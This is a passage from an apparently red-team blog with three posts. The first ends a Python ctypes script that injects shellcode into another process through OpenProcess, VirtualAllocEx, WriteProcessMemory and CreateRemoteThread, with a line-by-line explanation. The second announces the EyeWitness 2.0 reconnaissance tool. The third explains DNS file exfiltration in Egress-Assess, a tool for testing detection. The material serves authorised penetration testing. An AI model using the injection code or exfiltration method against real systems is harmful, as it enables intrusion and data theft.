xac\x14\x29\xbd\xc4\x9a\x14\x89\x4a\x64\x73\x0b\xb6\xb3\xbd\x79\xd6\x07"
process_id = 1234
shellcode_length = len(shellcode)

process_handle = kernel32_variable.OpenProcess(process_all, False, process_id)
memory_allocation_variable = kernel32_variable.VirtualAllocEx(process_handle, 0, shellcode_length, memcommit, page_rwx_value)
kernel32_variable.WriteProcessMemory(process_handle, memory_allocation_variable, shellcode, shellcode_length, 0)
kernel32_variable.CreateRemoteThread(process_handle, None, 0, memory_allocation_variable, 0, 0, 0)

 

 

***************************Line By Line Description*******************************

from ctypes import * – The ctypes import is required and is what allows us to interact with the Windows API within python.

page_rwx_value – This is a variable that sets the section of memory that will store the shellcode as read, write, and executable.

processall_variable – This variable states that when we try to open a handle into the process we’re injecting into, we want to have “all possible access rights” into the process.

memcommit –  This variable is set to allocate memory and ensure it is zeroed upon writing to memory.

kernel32_variable – This just stores the available calls from windll.kernel32 within a single variable.

Shellcode – This is the shellcode that will be injected into memory and executed

process_id – This is the process ID that the shellcode will be injected into

shellcode_length – This variable stores the length of the shellcode that will be injected and executed

process_handle = kernel32_variable.OpenProcess(process_all, False, process_id)  – This line makes a call to OpenProcess.  The point of this line is to return a handle into the process we are injecting shellcode into.  We’re specifically asking for all possible process rights, stating that we don’t need to inherit the handle, and specifying the process ID of the process to obtain a handle from.

memory_allocation_variable = kernel32_variable.VirtualAllocEx(process_handle, 0, shellcode_length, memcommit, page_rwx_value) – This line calls VirtualAllocEx, a function that allocates memory in a remote process.  It requires a handle to the process that will have memory allocated (obtained from the OpenProcess call), the size that should be allocated (shellcode length), the type of memory allocation that should be performed (memcommit), and the memory protection that should be placed on the allocated memory range (read, write, execute).  It returns the base address to the memory that was allocated by the function.

kernel32_variable.WriteProcessMemory(process_handle, memory_allocation_variable, shellcode, shellcode_length, 0) – This line calls WriteProcessMemory which writes data (shellcode) to an area of memory within a process of our choosing.  The function receives the process handle that was obtained, the base address where the function will write memory to, our shellcode, and the length of the shellcode, and the value 0 which tells the function to ignore an optional output.

kernel32_variable.CreateRemoteThread(process_handle, None, 0, memory_allocation_variable, 0, 0, 0) – This calls CreateRemoteThread, which will create a thread (go figure) within the another process.  This function call takes in a handle to the process which the shellcode is being injected into, None – states that the thread inherits a default security descriptor, 0 – defines the stack size to be the default size for that executable, the base address of the memory allocated earlier, and the final “0”s are miscellaneous parameters that tells the function that we aren’t providing “A pointer to the application-defined function” (source: MSDN), there isn’t a variable passed in, and to execute the thread immediately

From this point on, the shellcode should execute within the targeted process, and you should be set!  If there are any questions, errors, or something that needs to be addressed, let me know!

EyeWitness 2.0 Release and User Guide!

Github Repo: https://github.com/ChrisTruncer/EyeWitness

For the past few months, the EyeWitness codebase has gone through multiple refactors, nearly all by Rohan Vazarkar (@CptJesus), but also myself.  One thing that I try to preach, and any developer should agree with, is that there are three primary features a script/tool needs to have.  It needs to be usable, perform a service of value (otherwise why even write it), but it also needs to be stable.  With the recent updates to the back-end libraries EyeWitness uses, we failed on that last feature.  At times, EyeWitness would seem to just crash on us, but then run perfectly seconds later.  After many assessments of encountering these shared frustrations, we decided to start from scratch.

As of now, I’m happy to release EyeWitness 2.0, a complete re-write from the ground up.  We took stability as the driving goal for our design decisions, and which libraries to use, and made the 2.0 version something that we are really happy to finally push out.  This post will serve as a user’s guide, to show how to use the primary features of the tool.

First, our new menu:

EyeWitness Menu 2 0

Note: There’s more options available than what is displayed above.

First, let’s talk about the original/primary goal of EyeWitness, taking screenshots of websites!  We removed Ghost from EyeWitness, due to stability reasons, and added in two different methods of taking screenshots.  When using –web, EyeWitness will call selenium, which uses the actual browser (IceWeasel or Firefox) installed on your system, to take screenshots.  You won’t see s browser pop-up, but it’s running in the background, and taking screenshots of the URLs that you provided.

Due to the fact that we encountered a large number of issues when relying on a single library to take screenshots, we decided that we didn’t want to have another single point of failure, so we added in another option when it comes for web screenshots.  You can use “–headless” to use phantomjs to take screenshots of websites.  The nice thing about phantomjs is it’s very fast, and can run in a headless environment.

Finally, probably the most requested feature we’ve had for some time is for EyeWitness to thread its requests.  I’m really happy to say that threading has been added into EyeWitness!  By default, EyeWitness will use 10 threads, but this number can be adjusted by the user with the “–threads #NUMTHREADS” option.  The ability to run threaded scans has significantly cut back on the amount of time required to scan all URLs provided to EyeWitness.

Next, we’ve added in the ability to take screenshots and generate a report for RDP and VNC all because of the awesome work by Sylvain Peyrefitte (@citronneur) and the RDPY project.  Now, all you need to do is use the –rdp or –vnc switch, and EyeWitness will attempt to screenshot either service.  RDP screenshots will take a picture of the login screen, which will potentially also capture any other user accounts currently logged into the system.  VNC screenshots will attempt to connect to a VNC service which doesn’t require authentication, and capture a screenshot of the VNC environment.

RDP Scan

RDP Report

Due to the stability issues EyeWitness had in the past, we ran into instances where EyeWitness may get 90% of the way through a scan, crash on a single host, and would have to start all over.  This was another major point of frustration for Rohan and myself.  This was initially solved by Robin Wood (@digininja) when he provided us with a script that would generate a report based off of the currently available information that EyeWitness had gathered.  We also wanted to look into this, and have now added in proper resume support!  As of this 2.0 update, EyeWitness will use a sqlite database to track the systems that are queued up for screenshots, and then mark them complete in the database once done.  In the event of a crash, or of the user CTRL + C to quit out of the scan, the latest information will be saved to the sqlite DB, which is in the report output folder.  Once the user is ready to resume their scan, you just need to call EyeWitness with the –resume option, and pass the location of the database file.

EW Cancel

2nd updated resume

The above pictures are what you should see when canceling a scan, and then resuming it at a later time.

Finally, the last new feature I want to go over is the new report generated by EyeWitness.  EyeWitness will still attempt to identify default credentials for each web application that it scans.  However, a new report layout was created for the 2.0 release.  Not only does the EyeWitness report perform default credential checks, it also now will attempt to sort out and group different types of web applications together.  We’ve created a group called “High Value Targets” which may have admin login links available, or any other target that might be of immediate interest to the user, such as Tomcat servers.  The report will have a table of contents at the top, which can be used to jump right to any section of the report.

Report TOC

Report Section

Report Errors

Oh, and just one more thing.

One request that we had from Steve Borosh (@424f424f) was to make our report searchable.  Initially, we turned this down because we didn’t want to require a complete back-end database, we wanted EyeWitness Reports to be portable.  However, Rohan created a search script which will parse the sqlite database that’s created with each scan and generate a report based on what you’re searching for.  Want to test it out? It’s easy, just call the search script, pass in the path to the sqlite database, and provide the search strings.  A new report will be created containing the results!

Report Search

Search Results

We hope that this helps to explain the major updates to EyeWitness!  If there’s any questions you still have, feel free to contact @CptJesus or @ChrisTruncer on twitter, in #Veil on Freenode, or leave a comment below.  Thanks, and hope this helps!

Egress-Assess and Owning File Data Exfiltration

Since its creation, Egress-Assess’s primary use-case has been to generate faux data, such as social security numbers, and attempt to exfiltrate that data over a variety of different protocols.  It’s use is both for pen testers and blue teamers that are trying to gauge whether or not an/their organization can detect sensitive data that is egressing their network boundary.  Data loss can have a huge impact on customers, just read any major breach in the past 12 months.  Social security and credit card numbers are great for a quick demo, but sometimes real data is needed to demonstrate impact.  Both Steve (@424f424f) and myself recognize this, and are happy to say we’ve added in the ability to exfiltrate real files with Egress-Assess.

Why did this feature get added in?  Our threats are doing this, that’s why.  Hacking into companies isn’t just about getting shells anymore.  Attackers are breaking into companies to steal their data.  This threat is real, and as professional pen testers/red teamers, we should be looking to emulate the threats that our customers are facing.  Evolving our tradecraft to include data exfiltration testing can directly give value to our customers.  When we can point to the fact that 7 gigs of credit card numbers were exfiltrated from our customer’s network and not a single one was detected, then we can show exactly where they need to improve upon.

As you can see, Egress-Assess now supports a –file option (-Datatype with path to file in powershell):

EA Help with File

Nearly all modules currently support DNS file transfers.  The only modules which still requires an update is the dns_resolved module, however dns (straight) does support file transfers, and transfers over DNS in powershell.  The difference between the two is dns_resolved uses recursive lookups to transfer file data, and dns (straight) points DNS packets directly to the DNS/Egress-Assess server you specify.

DNS files transfers automatically attempt to use the maximum size allowable within a DNS packet to transfer files.  You may see the total packet number change mid transfer, and this is due to Egress-Assess adjusting the amount of data sent in each packet to remain protocol compliant.  DNS file transfers in Egress-Assess use the following logic:

  1. While there is data to send, continue sending data
  2. Packets sent are sent with the Packet number, a delimiter (“.:|:.”), and then file data.  All of this information is base64 encoded.
  3. The server receives the packet, ensures it matches the above layout, and then responds with the packet number that was received, and the string “allgoodhere”.
  4. If the client/sender receives the response packet, move on to sending the next packet.  If no response is received within 2 seconds, retransmit.

Sending file data

Once there is no more data to send, the sender:

  1. Sends a DNS TXT packet with the string “ENDTHISFILETRANSMISSIONEGRESSASSESS” which is concatenated with the name of the file that is being transferred.
  2. The server receives the end packet, and writes out the data received throughout the transmission, in order, to the filename received in the end transmission packet.

EOF

We developed the client and server to speak in this manner to ensure all data is received, and will be written out in the proper order.  A quick md5sum test shows that we actually have recreated the same exact file on the server that was sent over DNS.

MD5 Sum FIles

I hope this helps explain DNS transfers, and everything in this latest release of Egress-Assess.  If anyone has any questions, feel free to hit me (@ChrisTruncer) or Steve (@424f424f) up on twitter or in #Veil on freenode!